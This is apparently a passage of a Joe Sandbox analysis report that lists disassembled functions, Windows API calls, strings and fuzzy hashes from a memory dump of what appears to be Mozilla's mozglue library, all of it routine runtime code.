Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction ID: 879e78360a411d97b5c7b7ac026dafbc59998bbc5e1c20b802ed3b57d85cdacb
Opcode Fuzzy Hash: 336706cdab618bdd46f8368f0e60d53fd941aae7f6cb2a35e7dff3cc848d64ed
Instruction Fuzzy Hash: CDD15D71A04B469FD718CF28C880B99F7E1BF89304F01866DD96987712EB71B965CF81

Function 6C5B1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5B17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5B18EE
free.MOZGLUE(?), ref: 6C5B1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B194C

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 7d4c68639027883a4e7c28a67986293f4ff7901181957617ab021ebc429732e0
Instruction ID: 981037f5d17e3700d38bb0e1bd2201113b5d6a94379deae98e077cee1e40fb7b
Opcode Fuzzy Hash: 7d4c68639027883a4e7c28a67986293f4ff7901181957617ab021ebc429732e0
Instruction Fuzzy Hash: 4C81AE70A152059FCB08CF68DCA49AFBBB1FF89314F04452CE811AB754E730E955CBA2

Function 6C5C5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5C5D40
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67
__aulldiv.LIBCMT ref: 6C5C5DB4
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction ID: 5cdf1b7ede26d27e5f716df1938b1e259e9392feb3a7d64ad937e06b9cdd4693
Opcode Fuzzy Hash: 5513bd98fd613ddc927b6412ee29fc264908e0a02818c448b4221dedbf3086f9
Instruction Fuzzy Hash: 54517071F002298FCF08CFE9C894AAEBBB2FB85304F59462DD811A7750C7346945CB96

Function 6C5ACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5ACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5ACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5ACF4E

Strings

0, xrefs: 6C5ACF30

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction ID: 9bc5628d6ed544f5354486608e6306c92b10276516dd9477ed6ce8d75e82b65f
Opcode Fuzzy Hash: 230bbc0868a276f63beadac7bbe13db63f8f980cb17d4d1d373b96ef5fa19e25
Instruction Fuzzy Hash: BD512171A042568FCB01CF19C890AAABBB5EF99300F19859DD8595F752D732FD06CBE0

Function 6C6077D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6077FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C607829

Part of subcall function 6C5DCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5A31A7), ref: 6C5DCC45
Part of subcall function 6C5DCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5A31A7), ref: 6C5DCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C60789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6078CF

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: f43450d1ebc26b88e5ae8b11e379191e1e7bf11c9e21c81b420a0017e798650c
Instruction ID: 297abd91c9a7b622260a04843133fe2be1a6b8dc702dc8f9656b893a9e19ed30
Opcode Fuzzy Hash: f43450d1ebc26b88e5ae8b11e379191e1e7bf11c9e21c81b420a0017e798650c
Instruction Fuzzy Hash: 6341AF71A047469FD300DF29C88056AFBF4FFCA254F604A2DE4A987640DB70E95ACB96

Function 6C5E6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5E82BC,?,?), ref: 6C5E649B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E64A9

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5E653F
free.MOZGLUE(?), ref: 6C5E655A

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction ID: 990e4a6c5b7bfcdbecc680458b6d647096665b742da5f0d009d51041a66f46f4
Opcode Fuzzy Hash: c91f166382bd3fd64e812328528c3ca6b9b02fb0801c72a85dc99f542df670c6
Instruction Fuzzy Hash: 003181B5A043059FC704CF14D88069EBBE4FF89314F40442EE85A97741DB34E919CB96

Function 6C5DFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?), ref: 6C5DFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?), ref: 6C5DFFF5
free.MOZGLUE(?,?,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?), ref: 6C5E001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C5FD019,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?), ref: 6C5E002A

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 03a4d5981773873e02fa5a768ce65e838a03bf466734fa2adcd9030556201db7
Instruction ID: 86481ef2ef319477e5278dfe31cc76e7cfa570f9dee89733d0664d46ce90e840
Opcode Fuzzy Hash: 03a4d5981773873e02fa5a768ce65e838a03bf466734fa2adcd9030556201db7
Instruction Fuzzy Hash: DA21D6B2A002165BC718DE7C9C948AFB7BAFBC93247250738E525D7780EB71AD0187E5

Function 6C5BB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BB4F5
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB502
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5BB542
free.MOZGLUE(?), ref: 6C5BB578

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction ID: 87d1e21dcf8f64cb89cdc75139f47cafdca46d96d00ca8120aa426b6a3e84de6
Opcode Fuzzy Hash: 6c8c33785cffff9f3c0b5c1f49c5edde3ba4b1c13abb414c1d7437da26c0dbfe
Instruction Fuzzy Hash: 5C11F030A04B00C7C3118F2AC9807A5B7B0FFD6318F10570AD84A63A02FBF4B1C18B96

Function 6C5E3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5AF20E,?), ref: 6C5E3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5AF20E,00000000,?), ref: 6C5E3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5E3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C5E3E0E

Part of subcall function 6C5DCC00: GetCurrentProcess.KERNEL32(?,?,6C5A31A7), ref: 6C5DCC0D
Part of subcall function 6C5DCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5A31A7), ref: 6C5DCC16

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction ID: 54c36f2300aacf374a4ab28a68a95182243e461c5d95669c4df6d6bd7a5cba32
Opcode Fuzzy Hash: 3f6dc398444e0299e8487e662ba372cb2253b8dbdd644a3c1fa8dbc82e0f92dc
Instruction Fuzzy Hash: EDF012715002087FD700AB55DC81DAB376DEB86624F050020FE0957741D739BD5596FB

Function 6C5F2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C5F201B,?,?,?,?,?,?,?,6C5F1F8F,?,?), ref: 6C5F2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F208E
free.MOZGLUE(?,?,?,00000000,?,6C5F201B,?,?,?,?,?,?,?,6C5F1F8F,?,?), ref: 6C5F20A3

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 447051d1fa5de9e8f87e1033cb6f2383e4608dea9de92c5d484119767972e7f2
Instruction ID: 391da3366dc8c6688c1ce1f87a9af8fec735c5d15e5b594202f07a721ba04a0f
Opcode Fuzzy Hash: 447051d1fa5de9e8f87e1033cb6f2383e4608dea9de92c5d484119767972e7f2
Instruction Fuzzy Hash: 1AF0B4B2100600DBC7118F17DC88B9BB7F9EFC6364F10051AE94687710C776A806CB9A

Function 6C5F85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5F85D3

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5F8725

Strings

map/set<T> too long, xrefs: 6C5F8720

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction ID: 8744cc00671aabb540df735202770512f76d75cb83b376f8c0167df48dc31244
Opcode Fuzzy Hash: 7954213cd4bf5f8f875848353130ec5044cfcfec0efe4781c7cf8047e94308f4
Instruction Fuzzy Hash: 94516474600641CFC705CF1AC884B5ABBF1BF5A318F18C58AD8695BB52C335E886CF92

Function 6C5ABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5ABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5ABE8F

Strings

0, xrefs: 6C5ABE5B

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction ID: e1e1b2850043cf09a21d4318144441802e4d438342b90bb6193782944b4280db
Opcode Fuzzy Hash: d38659ef6fe135f32c4374614b163ab3a7426f08491927b20596be361a428308
Instruction Fuzzy Hash: 8C41B171909749CFC701DFBAC881A9FBBF4AF8A348F004A1DF98597611D730D94A8B92

Function 6C5E3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3D19
mozalloc_abort.MOZGLUE(?), ref: 6C5E3D6C

Strings

d, xrefs: 6C5E3D58

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction ID: b3de1599416444cc140386dc4567eb343d23b19b8ce20dcefd6d08b4140a8cc1
Opcode Fuzzy Hash: ebd837007defe26ee9175a32f96c61751019fd5b868ed50f368bb0e6bc04663f
Instruction Fuzzy Hash: F3113431E04688D7DF018F6ECC444EDB775EFDA258F458229DC459B612EB34A984C390

Function 6C5B4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

Strings

GetNtLoaderAPI, xrefs: 6C5B4744

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 3882535caba9bf675bc40a63b58b4473d342166d80b7592f9fa2d87ed88611e8
Instruction ID: e377d0aa49a38f1f29246ed5ffa417c707ad2c65e92467725175113c95433efa
Opcode Fuzzy Hash: 3882535caba9bf675bc40a63b58b4473d342166d80b7592f9fa2d87ed88611e8
Instruction Fuzzy Hash: E2018C753052159FDF109FA78894A1D7BB9EB8A311F040069EA06D7300CB78D802CF9A

Function 6C606DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C606E22
__Init_thread_footer.LIBCMT ref: 6C606E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C606E1D

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction ID: 024e4cc1d8689df441d8ceaff222fce83e046cd8f734c1fc08befb674e403705
Opcode Fuzzy Hash: 2b9e3949eab14a6f7c4a3d4070d103ebb495d7a247e5e61090762738b71d2cca
Instruction Fuzzy Hash: 26F0FA30309380CAEB008B69CAA0EC277729742B18F040165C80186FA1CA29F987CF9F

Function 6C5B9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5B9EEF

Strings

Infinity, xrefs: 6C5B9EB7
NaN, xrefs: 6C5B9EC1

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction ID: fbaf3a5bb5981a9dc85788cc8266dce170ca99ea17aa831848620ec5fdbcdc7c
Opcode Fuzzy Hash: 161d9af429ed195f77abd69af26fbab8466775acdb676d6d6b8bb88561346404
Instruction Fuzzy Hash: E5F0A970600262CAEB008F1ADE96B823BF1A35371AF600E19D5041AB80D73E7946CF8F

Function 6C5B6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C42

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(0K^l,?,6C5E4B30,80000000,?,6C5E4AB7,?,6C5A43CF,?,6C5A42D2), ref: 6C5B6C58

Strings

0K^l, xrefs: 6C5B6C33, 6C5B6C41, 6C5B6C57

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K^l
API String ID: 1967447596-3449559093
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 7730db33859605fa4891f2fc2e51ff307dea3b65e17dffbf0f658fc81488f961
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 74E026F1A103004ADB0CD8799C2A52A79C8CB352A87044A35E826F3BC8FF34F9408051

Function 6C5B3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C62F860), ref: 6C5B385C
ReleaseSRWLockExclusive.KERNEL32(6C62F860,?), ref: 6C5B3871

Strings

,bl, xrefs: 6C5B387A

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
